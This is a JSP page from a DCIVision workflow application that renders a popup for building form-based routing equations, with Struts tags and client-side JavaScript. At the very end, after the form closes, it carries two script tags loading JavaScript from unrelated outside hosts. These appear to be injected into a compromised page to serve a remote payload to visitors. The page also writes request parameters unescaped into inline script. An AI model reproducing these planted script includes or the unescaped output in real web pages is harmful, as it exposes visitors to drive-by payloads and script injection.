<%
/*
 *
 * @(#)EditWorkflowStepFormEquat.jsp
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowStepFormEquat.jsp

  This class is reflecting business logic uses.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    01/09/2004
    @version          $Revision: 1.20.2.9 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowStepFormEquatForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowStepFormEquatForm"/>

<%

  String navMode = (String) maintWorkflowStepFormEquatForm.getNavMode();
  /**
  String[][] OPERAND_MAP = {{"common.options.criteria.addition","+"},
                            {"common.options.criteria.subtration","-"},
                            {"common.options.criteria.multiplication","*"},
                            {"common.options.criteria.dicision","/"},
                            {"common.options.criteria.greater_than",">"},
                            {"common.options.criteria.greater_than_or_equals",">="},
                            {"common.options.criteria.equals","="},
                            {"common.options.criteria.not_equals","<>"},
                            {"common.options.criteria.less_than","<"},
                            {"common.options.criteria.less_than_or_equals","<="}};


  **/
  List formElementList = new ArrayList();
  if(!Utility.isEmpty(request.getAttribute("formElementList"))){
    formElementList = (List)request.getAttribute("formElementList");
  }

  List optionList = new ArrayList();
  if ( !Utility.isEmpty(request.getAttribute("optionList")) ) {
    optionList = (List) request.getAttribute("optionList");
  }
  
  List formRecordList = new ArrayList();
  if(!Utility.isEmpty(request.getAttribute("formRecordList"))){
    formRecordList = (List)request.getAttribute("formRecordList");
  }
  

  //indicate the workflow record was released or not
  boolean isReleased = false;
  isReleased = "true".equals(request.getParameter("isReleased"));

  String[][] FORM_ELEMENT_MAP = new String[formElementList.size()][2];
  String[][] OPTION_VALUE_MAP = new String[optionList.size()][2];
  String[][] FORM_RECORD_MAP = new String[formRecordList.size()][2];

  for (int i=0; i<formElementList.size(); i++){
    FormElement formElement = (FormElement)formElementList.get(i);
    FORM_ELEMENT_MAP[i][1] = WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR + formElement.getID();
    FORM_ELEMENT_MAP[i][0] = formElement.getFieldName();
  }

  for (int i=0; i<optionList.size(); i++){
    FormSelectionFieldOption option = (FormSelectionFieldOption)optionList.get(i);
    OPTION_VALUE_MAP[i][1] = option.getStartValue();
    OPTION_VALUE_MAP[i][0] = option.getLabel();
  }
  
  for (int i=0; i<formRecordList.size(); i++){  
    FormRecord formRecord = (FormRecord)formRecordList.get(i);
    FORM_RECORD_MAP[i][1] = formRecord.getID().toString();
    FORM_RECORD_MAP[i][0] = formRecord.getFormCode() + "(" + formRecord.getFormVersion() + ")";
  }

%>


<%try{%>
<html:form action="workflow/MaintWorkflowStepFormEquat">
<html:javascript formName="maintWorkflowStepFormEquatForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   String operand1 = "";
   String operand2 = "";
   String formEquation = "";
   String routeNameListValue = "";
   boolean haveDefaultRoute = false;

   if(!Utility.isEmpty(request.getParameter("operand1")) ){
     operand1 = request.getParameter("operand1");
     operand1 = TextUtility.replaceString(operand1,"!!!","+");
   }

   if(!Utility.isEmpty(request.getParameter("operand2")) ){
     operand2 = request.getParameter("operand2");
     operand2 = TextUtility.replaceString(operand2,"!!!","+");
   }

   if(!Utility.isEmpty(request.getParameter("formEquation")) ){
     formEquation = request.getParameter("formEquation");
     formEquation = TextUtility.replaceString(formEquation,"!!!","+");
   }

%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>


<html:hidden property='operand1' value='<%=operand1%>'/>
<html:hidden property='compare' />
<html:hidden property='operand2' value='<%=operand2%>'/>
<html:hidden property='formEquationListValue'/>
<html:hidden property='workflowRecordID'/>
<html:hidden property='formEquationItem'/>
<html:hidden property='routeNameListValue'/>
<html:hidden property='optionElementIDs'/>

<!-- Page Title Section Begin -->
<layout:popupTitle titleKey ="workflow.label.workflow_step_form_equation"/>
<!-- Page Title Section End -->

<table width="100%">

<!-- Section Header Begin-->
  <layout:sectionHeader blackLine="false"/>
  <!-- Section Header End-->
  
<tr><td>

<div style="padding-left:20px;padding-right:20px;height:465px">
<table width="100%">
 
  <%if (!isReleased) {%>
  <tr>
    <td colspan="2" class="formFieldSmall">
        <bean:message key='workflow.label.please_select_operation_type'/>:<br>
        <b>
        <input type="radio" name='operationType' value='<%=WorkflowStepFormEquat.OPERATION_TYPE_NUMBER%>'  onclick='return changeOperand(this.value,true)' checked ><bean:message key="workflow.label.operation_type_number"/><br>
        <html:radio property='operationType' value='<%=WorkflowStepFormEquat.OPERATION_TYPE_STRING%>'  onclick='return changeOperand(this.value,true)'/><bean:message key="workflow.label.operation_type_string"/><br>
        <html:radio property='operationType' value='<%=WorkflowStepFormEquat.OPERATION_TYPE_DATE%>'  onclick='return changeOperand(this.value,true)'/><bean:message key="workflow.label.operation_type_date"/>
        </b>&nbsp;&nbsp;
        <bean:message key='workflow.label.date_format'/>:&nbsp;
        <html:text property='dateFormat' size='20' disabled='true' maxlength='20' value='<%=!WorkflowStepFormEquat.OPERATION_TYPE_DATE.equals(request.getParameter("operationType"))?"dd-MM-yyyy HH:mm:ss":request.getParameter("dateFormat") %>' /><br>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="sectionLine"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  
  <tr>
    <td  colspan="2" width="80%" align="left">
      <table width="100%" border="0" cellpadding="8" cellspacing="0">
       <tr>
        <td width="170" rowspan="3" valign='top' class="formFieldSmall">
          <input type="radio" name="optionItem" value="1" checked onclick="return controlOption(1)"><bean:message key="workflow.label.select_form_element"/><br>&nbsp;
          <html:select property='formElement' disabled='false' onchange='return getOptionValues(this)'>
            <html:options stringArray='<%=FORM_ELEMENT_MAP%>' hasSelect='false' convertLabel='false'/>
          </html:select>
        </td>
        <td valign='top' class="formFieldSmall" rowspan="3">
          <input type="radio" name="optionItem" value="2" onclick="return controlOption(2)">
          <bean:message key="workflow.label.select_operand"/>
          <br>&nbsp;
          <html:select property='operand' disabled='true'>
          <option value="+">+</option>
          <option value="-">-</option>
          <option value="*">*</option>
          <option value="/">/</option>
          <option value=">">&gt;</option>
          <option value=">=">&gt;=</option>
          <option value="==">=</option>
          <option value="<>">&lt;&gt;</option>
          <option value="<">&lt;</option>
          <option value="<=">&lt;=</option>
          </html:select>
        </td>

        <td valign='top' class="formFieldSmall">
           <input type="radio" name="optionItem" value="3" onclick="return controlOption(3)"><bean:message key="workflow.label.set_operator"/><br>&nbsp;
           <%if ( !Utility.isEmpty(optionList) ) {%>
           <html:select property='value'>
           <html:options stringArray='<%=OPTION_VALUE_MAP%>' hasSelect='false' convertLabel='false'/>
           </html:select>
           <%} else {%>
           <html:text property='value' size='20' maxlength='100' disabled='true'/>
           <%}%>
        </td>
       </tr>
	   <tr>
        <td>
        <%if (!isReleased) {%>
		 <div style="float:right">
          <html:standardButton label="form.label.add_element" onClick="return addFormEquation()"/>	
          <html:standardButton label="common.label.search.clear" onClick="return clearFormEquation()"/>
		 </div>
        <%}%>
        </td>
       </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="sectionLine"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td colspan="2">
    <table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr colspan="2">
        <td class="formLabelSmallMan" style="width: 102px;"><bean:message key="workflow.label.route_name"/>:</td>
        <td><div style="float:left;"><html:text property='routeName' value='' maxlength='100' /></div>
        <%if (!isReleased) {%>
		<div style="float:right;">
        <a href="javascript://" onClick="return opAddFields();"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
		</div>
        <%}%>
        &nbsp;&nbsp;</td>
      </tr>
	  <tr>
	  <td colspan="1" align="center"><html:img src='Spacer.gif'  width='1' height='5'/></td>
	  <td colspan="1" align="center"><html:img src='Spacer.gif'  width='1' height='5'/></td>
	  </tr>
      <tr>
        <td class="formLabelSmallMan" style="width: 105px;"><bean:message key="workflow.label.form_equation"/>:</td>
        <td colspan="2"><html:textarea property="formEquation" cols="60"  rows="5" readonly="true" value=''/></td>
      </tr>
      <tr>
	  <td colspan="1" align="center"><html:img src='Spacer.gif'  width='1' height='30'/></td>
	  <td colspan="1" align="center"><html:img src='Spacer.gif'  width='1' height='30'/></td>
	  </tr>
    </table>
    </td>
  </tr>
  <tr>
    
  </tr>
  <tr>
    <td colspan="2" class="sectionLine"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <%}%>
  <%
    String formEquationListValue = maintWorkflowStepFormEquatForm.getFormEquationListValue();
    if(!Utility.isEmpty(formEquationListValue)){
      //formEquationListValue = request.getParameter("formEquationListValue");
    }
    if(!Utility.isEmpty(formEquationListValue)){
      String[] formEquationItemArr = TextUtility.splitString(formEquationListValue,"$$");
      for(int i=0; i<formEquationItemArr.length; i++){
        String[] elementArr = TextUtility.splitString(formEquationItemArr[i],";");
        routeNameListValue += elementArr[0];
        if(GlobalConstant.TRUE.equals(elementArr[1])){
          haveDefaultRoute = true;
        }
  %>
  <tr>
    <td width="85%">&nbsp;&nbsp;<%=i+1%>.&nbsp;&nbsp;<%=elementArr[0]%>&nbsp;--&nbsp;
    <%if(GlobalConstant.TRUE.equals(elementArr[1])){%>
      <font color='#FF6600'>[<bean:message key='workflow.label.default_route'/>]</font>
    <%}else {%>
      <%=TextUtility.replaceString(elementArr[5],"!!!"," + ")%>
    <%}%>
    </td>

    <td width="20">
    <%if(i>0 && !isReleased ){%>
    <b><input type="checkbox" name="deleteItem" value="<%=i%>" ><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;</b>
    <%}%>
    </td>
  </tr>
  <%
      }
    }
  %>

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  
</table>

</td></tr>
</div>

</table>



<%if (!isReleased) {%>
<script language="Javascript">
<!--
var haveCompare = false;
var selectedElement = false;
var selectedCompare = false;
var isOptionElement = false;
<%if(!Utility.isEmpty(formEquation)){%>
  selectedElement = true;
<%}%>

var operationType;
//var routeNameListValue = document.maintWorkflowStepFormEquatForm.routeNameListValue.value;

operationType = "<%=WorkflowStepFormEquat.OPERATION_TYPE_NUMBER%>";
<%if(!Utility.isEmpty(request.getParameter("operationType")) ){%>
   operationType = '<%=request.getParameter("operationType")%>';
<%}
  if(!Utility.isEmpty(request.getParameter("operationType")) ){
%>
    changeOperand('<%=request.getParameter("operationType")%>',false);
<%}%>


function custOpConfirm() {
  var parent = window.opener;
  var frm;
  var formEquationListValue;
  var tmpRouteArr;
  var checked = false;

  frm = document.maintWorkflowStepFormEquatForm;
  formEquationListValue = frm.formEquationListValue.value;
  tmpRouteArr = formEquationListValue.split("$$");


  formEquationListValue = "";

  for(var i=0; i<tmpRouteArr.length; i++){
    checked = false;
    if( frm.deleteItem && frm.deleteItem.length){
      for(var j=0; j<frm.deleteItem.length; j++){
        if(i == frm.deleteItem[j].value && frm.deleteItem[j].checked  ){
          checked = true;
          break;
        }
      }
    } else if(frm.deleteItem && frm.deleteItem.checked){
      checked = true;
    }
    if(!checked){
      if(formEquationListValue == ""){
        formEquationListValue = tmpRouteArr[i];
      } else {
        formEquationListValue += "$$" + tmpRouteArr[i];
      }
    }
  }

  <%if(!haveDefaultRoute){%>
    //alert("<bean:message key='workflow.message.please_set_a_default_route_first'/>");
    //return false;
  <%}%>

  if(formEquationListValue == ""){
    //alert("<bean:message key='workflow.message.please_set_a_default_route_first'/>");
    //return false;
  }

  if(formEquationListValue.indexOf(";Y;") < -1){
    //alert("<bean:message key='workflow.message.please_set_a_default_route_first'/>");
    //return false;
  }

  opener.putFormEquation("maintWorkflowStepForm",formEquationListValue);

  window.close();
}


function controlOption(option){
  if(option == 1){
    document.maintWorkflowStepFormEquatForm.formElement.disabled = false;
    document.maintWorkflowStepFormEquatForm.operand.disabled = true;
    document.maintWorkflowStepFormEquatForm.value.disabled = true;
  } else if(option == 2){
    document.maintWorkflowStepFormEquatForm.formElement.disabled = true;
    document.maintWorkflowStepFormEquatForm.operand.disabled = false;
    document.maintWorkflowStepFormEquatForm.value.disabled = true;
  } else if(option == 3){
    document.maintWorkflowStepFormEquatForm.formElement.disabled = true;
    document.maintWorkflowStepFormEquatForm.operand.disabled = true;
    document.maintWorkflowStepFormEquatForm.value.disabled = false;
  }

  //return (false);
}

function addFormEquation(){
  var optionValue;
  var formEquation;
  var operand1;
  var operand2;
  var compare;
  var formRecord = "";

  
  operand1 = document.maintWorkflowStepFormEquatForm.operand1.value;
  compare = document.maintWorkflowStepFormEquatForm.compare.value;
  operand2 = document.maintWorkflowStepFormEquatForm.operand2.value;
  formEquation = document.maintWorkflowStepFormEquatForm.formEquation.value;
  
  /*if (document.maintWorkflowStepFormEquatForm.formRecordID.length > 1) {
    formRecord = document.maintWorkflowStepFormEquatForm.formRecordID.options[document.maintWorkflowStepFormEquatForm.formRecordID.selectedIndex].text;
    formRecord += ".";
  }*/
  if(compare != ""){
    haveCompare = true;
  }

  for (var i = 0; i < document.maintWorkflowStepFormEquatForm.optionItem.length; i++) {
    if(document.maintWorkflowStepFormEquatForm.optionItem[i].checked){
      optionValue = document.maintWorkflowStepFormEquatForm.optionItem[i].value;
    }
  }

  formEquation += " ";

  if(optionValue == 1){
    if(selectedElement){
      alert("<bean:message key='workflow.message.please_add_an_operand_first'/>");
      return false;
    }
    for (var j = 0; j < document.maintWorkflowStepFormEquatForm.formElement.options.length; j++) {
      if(document.maintWorkflowStepFormEquatForm.formElement.options[j].selected){
        formEquation += formRecord + "[" + document.maintWorkflowStepFormEquatForm.formElement.options[j].text + "]";
        if(!haveCompare){
          operand1 += document.maintWorkflowStepFormEquatForm.formElement.options[j].value + "|";
        } else {
          operand2 += document.maintWorkflowStepFormEquatForm.formElement.options[j].value + "|";
        }
      }
    }
    selectedElement = true;
    selectedCompare = false;

  } else if(optionValue == 2){
    if(selectedCompare){
      alert("<bean:message key='workflow.message.please_add_an_operator_first'/>");
      return false;
    }
    for (var k = 0; k < document.maintWorkflowStepFormEquatForm.operand.options.length; k++) {
      if(document.maintWorkflowStepFormEquatForm.operand.options[k].selected){

        if(document.maintWorkflowStepFormEquatForm.operand.options[k].value != '+' &&
           document.maintWorkflowStepFormEquatForm.operand.options[k].value != '-' &&
           document.maintWorkflowStepFormEquatForm.operand.options[k].value != '*' &&
           document.maintWorkflowStepFormEquatForm.operand.options[k].value != '/' ) {
           if(!haveCompare){
             haveCompare = true;
             document.maintWorkflowStepFormEquatForm.compare.value = document.maintWorkflowStepFormEquatForm.operand.options[k].value;
           } else {
             alert("<bean:message key='workflow.message.compare_operation_already'/>");
             return false;
           }
        } else if(!haveCompare){
          operand1 += document.maintWorkflowStepFormEquatForm.operand.options[k].value + "|";
        } else {
          operand2 += document.maintWorkflowStepFormEquatForm.operand.options[k].value + "|";
        }

        formEquation += document.maintWorkflowStepFormEquatForm.operand.options[k].text;
      }
    }
    selectedElement = false;
    selectedCompare = true;

  } else if(optionValue == 3){
    if( document.maintWorkflowStepFormEquatForm.operationType[2].checked &&
        (document.maintWorkflowStepFormEquatForm.dateFormat.value == "" ||
         document.maintWorkflowStepFormEquatForm.dateFormat.value.length < 10) ){
      alert("<bean:message key='workflow.message.invalid_date_format'/>");
      document.maintWorkflowStepFormEquatForm.dateFormat.focus();
      return false;
    }

    if(selectedElement){
      alert("<bean:message key='workflow.message.please_add_an_operand_first'/>");
      return false;
    }

    if(document.maintWorkflowStepFormEquatForm.value.value == "" ){
      alert("<bean:message key='workflow.message.please_enter_the_operator_value'/>");
      document.maintWorkflowStepFormEquatForm.value.focus();
      return false;
    } else if (document.maintWorkflowStepFormEquatForm.operationType[2].checked ){
      if (document.maintWorkflowStepFormEquatForm.value.value.length <10){
        alert("<bean:message key='workflow.message.invalid_date_format'/>");
        document.maintWorkflowStepFormEquatForm.value.focus();
        return false;
      }
      //return fcheck_date(document.maintWorkflowStepFormEquatForm.value, document.maintWorkflowStepFormEquatForm.dateFormat.value.substring(0,10),true,false)
    } else if ("<%=WorkflowStepFormEquat.OPERATION_TYPE_NUMBER%>" == operationType && !numericCheck(document.maintWorkflowStepFormEquatForm.value.value)){
      document.maintWorkflowStepFormEquatForm.value.focus();
      return false;
    }

    <%if ( !Utility.isEmpty(optionList) ) {%>
    formEquation += "'" + document.maintWorkflowStepFormEquatForm.value.options[document.maintWorkflowStepFormEquatForm.value.selectedIndex].text + "'";
    <%} else {%>
    formEquation += "'" + document.maintWorkflowStepFormEquatForm.value.value + "'";
    <%}%>
    if(!haveCompare){
      operand1 += document.maintWorkflowStepFormEquatForm.value.value + "|";
    } else {
      operand2 += document.maintWorkflowStepFormEquatForm.value.value + "|";
    }
    selectedElement = true;
    selectedCompare = false;
  }

  document.maintWorkflowStepFormEquatForm.formEquation.value = formEquation;
  document.maintWorkflowStepFormEquatForm.operand1.value = operand1;
  document.maintWorkflowStepFormEquatForm.operand2.value = operand2;
  return false;
}

function clearFormEquation(){
  document.maintWorkflowStepFormEquatForm.formEquation.value = "";
  document.maintWorkflowStepFormEquatForm.operand1.value = "";
  document.maintWorkflowStepFormEquatForm.operand2.value = "";
  document.maintWorkflowStepFormEquatForm.compare.value = "";
  document.maintWorkflowStepFormEquatForm.routeName.value = "";
  //document.maintWorkflowStepFormEquatForm.defaultFlag.checked = false;
  //document.maintWorkflowStepFormEquatForm.value.value = "";
  haveCompare = false;
  selectedElement = false;
  return false;
}

function numericCheck(nn){
  nr1=nn;
  flg=0;
  str="";
  spc=""
  arw="";
  for (var i=0;i<nr1.length;i++){
    cmp="0123456789"
    tst=nr1.substring(i,i+1)
    if (cmp.indexOf(tst)<0){
      flg++;
      str+=" "+tst;
      spc+=tst;
      arw+="^";
    } else{
      arw+="_";
    }
  }
  if (flg!=0){
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.workflow.WorkflowErrorConstant.OPERATOR_NUMERIC_VALUE)%>");
    return false;
  }
  return true;
}

function trimOperand(str){
  var operand;
  operand = str.substr(str.length-1,str.length);
  if(operand == "+" || operand == "-" || operand == "*" || operand == "/"){
    str = str.substr(0,str.length-1);
    return str;
  }

  operand = str.substr(str.length-2,str.length);
  if(operand == "+|" || operand == "-|" || operand == "*|" || operand == "/|"){
    str = str.substr(0,str.length-2);
    return str;
  }

  return str;
}

function changeOperand(operationType,isClear){
  var object;
  object = document.maintWorkflowStepFormEquatForm.operand;

  if(isClear){
    clearFormEquation();
  }

  this.operationType = operationType;
  for(var i=object.options.length -1; i>-1; i--){
    object.options[i]=null;
  }

  document.maintWorkflowStepFormEquatForm.operationType[0].disabled = false;
  document.maintWorkflowStepFormEquatForm.operationType[1].disabled = false;
  document.maintWorkflowStepFormEquatForm.operationType[2].disabled = false;

  if("<%=WorkflowStepFormEquat.OPERATION_TYPE_NUMBER%>" == operationType){
    document.maintWorkflowStepFormEquatForm.dateFormat.disabled = true;
    AddOption(object,"+","+",false);
    AddOption(object,"-","-",false);
    AddOption(object,"*","*",false);
    AddOption(object,"/","/",false);
    AddOption(object,">",">",false);
    AddOption(object,">=",">=",false);
    AddOption(object,"=","==",false);
    AddOption(object,"<>","<>",false);
    AddOption(object,"<","<",false);
    AddOption(object,"<=","<=",false);

  } else if("<%=WorkflowStepFormEquat.OPERATION_TYPE_STRING%>" == operationType){
    document.maintWorkflowStepFormEquatForm.dateFormat.disabled = true;
    AddOption(object,"+","+",false);
    AddOption(object,"<bean:message key='workflow.label.date_operation_equals'/>","<%=WorkflowStepFormEquat.STRING_OPERATION_EQUALS%>",false);
    AddOption(object,"<bean:message key='common.options.criteria.contains'/>","<%=WorkflowStepFormEquat.STRING_OPERATION_CONTAINS%>",false);
    AddOption(object,"<bean:message key='common.options.criteria.starts_with'/>","<%=WorkflowStepFormEquat.STRING_OPERATION_STARTS_WITH%>",false);

  } else if("<%=WorkflowStepFormEquat.OPERATION_TYPE_DATE%>" == operationType){
    document.maintWorkflowStepFormEquatForm.dateFormat.disabled = false;
    AddOption(object,"<bean:message key='workflow.label.date_operation_before'/>","<%=WorkflowStepFormEquat.DATE_OPERATION_BEFORE%>",false);
    AddOption(object,"<bean:message key='workflow.label.date_operation_equals'/>","<%=WorkflowStepFormEquat.DATE_OPERATION_EQUALS%>",false);
    AddOption(object,"<bean:message key='workflow.label.date_operation_after'/>","<%=WorkflowStepFormEquat.DATE_OPERATION_AFTER%>",false);

  } else if("<%=WorkflowStepFormEquat.OPERATION_TYPE_OPTION%>" == operationType){
    document.maintWorkflowStepFormEquatForm.dateFormat.disabled = true;
    //AddOption(object,"+","+",false);
    AddOption(object,"<bean:message key='workflow.label.date_operation_equals'/>","<%=WorkflowStepFormEquat.STRING_OPERATION_EQUALS%>",false);
    AddOption(object,"<bean:message key='common.options.criteria.contains'/>","<%=WorkflowStepFormEquat.STRING_OPERATION_CONTAINS%>",false);
    //AddOption(object,"<bean:message key='common.options.criteria.starts_with'/>","<%=WorkflowStepFormEquat.STRING_OPERATION_STARTS_WITH%>",false);

    document.maintWorkflowStepFormEquatForm.operationType[0].disabled = true;
    document.maintWorkflowStepFormEquatForm.operationType[1].disabled = true;
    document.maintWorkflowStepFormEquatForm.operationType[2].disabled = true;
    this.operationType = "<%=WorkflowStepFormEquat.OPERATION_TYPE_STRING%>";
  }

  //return false;
}

  function opAddFields(){
    var frm = document.maintWorkflowStepFormEquatForm;
    var parent = window.opener;
    var operand1;
    var compare;
    var operand2;
    var formEquation;
    var dateFormat;
    var routeName;
    var formEquationItem;
	<%
	// bill add for EIP-1288 start
	String strDoubleQuotationMarks = "\""; // String_"
	char chrDoubleQuotationMarks = '\"'; // char_"
	String backSlash = "\\\""; // String_/"
	if (!Utility.isEmpty(routeNameListValue)) {
		if (routeNameListValue.indexOf(strDoubleQuotationMarks) != -1) {
			 char[] strArrary = routeNameListValue.toCharArray();
			 StringBuffer result = new StringBuffer();
			 // replace " to /"
			 for (int index = 0; index < strArrary.length; index++) {
				if (strArrary[index] == chrDoubleQuotationMarks) {
					 result.append(backSlash);
				} else {
					 result.append(strArrary[index]);
				}
			}
			routeNameListValue = result.toString();
		}
	}
	// bill add for EIP-1288 end
	%>
    var routeNameListValue = "<%=routeNameListValue%>";
    var defaultFlag = "<%=GlobalConstant.FALSE%>";

    operand1 = frm.operand1.value;
    compare = frm.compare.value;
    operand2 = frm.operand2.value;
    formEquation = frm.formEquation.value;
    dateFormat = frm.dateFormat.value;

    operand2 = trimOperand(operand2);
    formEquation = trimOperand(formEquation);
    routeName = frm.routeName.value;
    //formEquationListValue = frm.formEquationListValue.value;

    if(compare != ""){
      haveCompare = true;
    }

    if(routeName == ""){
      alert("<bean:message key='workflow.message.route_name_is_required'/>");
      frm.routeName.focus();
      return false;
    } else if(routeNameListValue.indexOf(routeName) > -1){
      alert("<bean:message key='workflow.message.duplicated_route_name_is_found'/>");
      frm.routeName.focus();
      return false;
    } else if(formEquation == ""){
      alert("<bean:message key='workflow.message.form_equation_is_empty'/>");
      return false;
    } else if (!haveCompare){
      alert("<bean:message key='workflow.message.the_form_equation_is_lawless'/>");
      return false;
    } else if (operand2 == ""){
      alert("<bean:message key='workflow.message.the_form_equation_is_lawless'/>");
      return false;
    }

    operand1 = operand1.replace(/\+/ig,"!!!");
    operand2 = operand2.replace(/\+/ig,"!!!");
    formEquation = formEquation .replace(/\+/ig,"!!!");

    formEquationItem =
        routeName + ";" +
        defaultFlag + ";" +
        operand1 + ";" +
        operand2 + ";" +
        compare + ";" +
        formEquation + ";" +
        operationType + ";" +
        dateFormat ;

    routeNameListValue += ";" + routeName;

    frm.routeNameListValue.value = routeNameListValue;
    frm.formEquationItem.value = formEquationItem;
    frm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
    frm.submit();
    return(false);
  }

  function getOptionValues(){
    var frm = document.maintWorkflowStepFormEquatForm;
    var optionElementIDs = frm.optionElementIDs.value;

    if( optionElementIDs.indexOf(frm.formElement.value) > -1 || isOptionElement){
      frm.routeNameListValue.value = frm.routeName.value;
      frm.formEquationItem.value = "";
      frm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";

      frm.submit();
      return(false);
    }
    //return(false);
  }

  function onChangeFormRecordID(){
    var frm = document.maintWorkflowStepFormEquatForm;
    var optionElementIDs = frm.optionElementIDs.value;

    //if( optionElementIDs.indexOf(frm.formElement.value) > -1 || isOptionElement){
      frm.routeNameListValue.value = frm.routeName.value;
      frm.formEquationItem.value = "";
      frm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
      frm.formElement.value = "";
      frm.submit();
      return(false);
    //}
    
  }

  function init(){
    var frm = document.maintWorkflowStepFormEquatForm;
    clearFormEquation();
    <%if ( !Utility.isEmpty(optionList) ) {%>
    changeOperand("<%=WorkflowStepFormEquat.OPERATION_TYPE_OPTION%>",true);
    <%} else if (
    	// The field 'operationType' is duplicate with the form in step setup page witch will be
    	// commit to this page, so add this codition check filter the invalid value commited from step setup page.
        WorkflowStepFormEquat.OPERATION_TYPE_DATE.equals(maintWorkflowStepFormEquatForm.getOperationType()) ||
        WorkflowStepFormEquat.OPERATION_TYPE_NUMBER.equals(maintWorkflowStepFormEquatForm.getOperationType()) ||
        WorkflowStepFormEquat.OPERATION_TYPE_OPTION.equals(maintWorkflowStepFormEquatForm.getOperationType()) ||
        WorkflowStepFormEquat.OPERATION_TYPE_STRING.equals(maintWorkflowStepFormEquatForm.getOperationType())
        ) {%>
    	changeOperand("<%=maintWorkflowStepFormEquatForm.getOperationType()%>",true);
    <%} else {%>
    	changeOperand("<%=WorkflowStepFormEquat.OPERATION_TYPE_NUMBER%>",true);
    <%}%>

    var optionElementIDs = frm.optionElementIDs.value;

    if( optionElementIDs.indexOf(frm.formElement.value) > -1 ){
      isOptionElement = true;
    }
  }

  init();

-->
</script>
<%}%>
<br>
<div id="bottomButtonArea">
<div id="buttonSection">
     <%if (!isReleased) {%>
      <html:standardButton label="common.label.confirm" onClick="return custOpConfirm()"/>
    <%}%>
      <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
</div>
</div>

</html:form>


<%}catch(Exception e){}%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>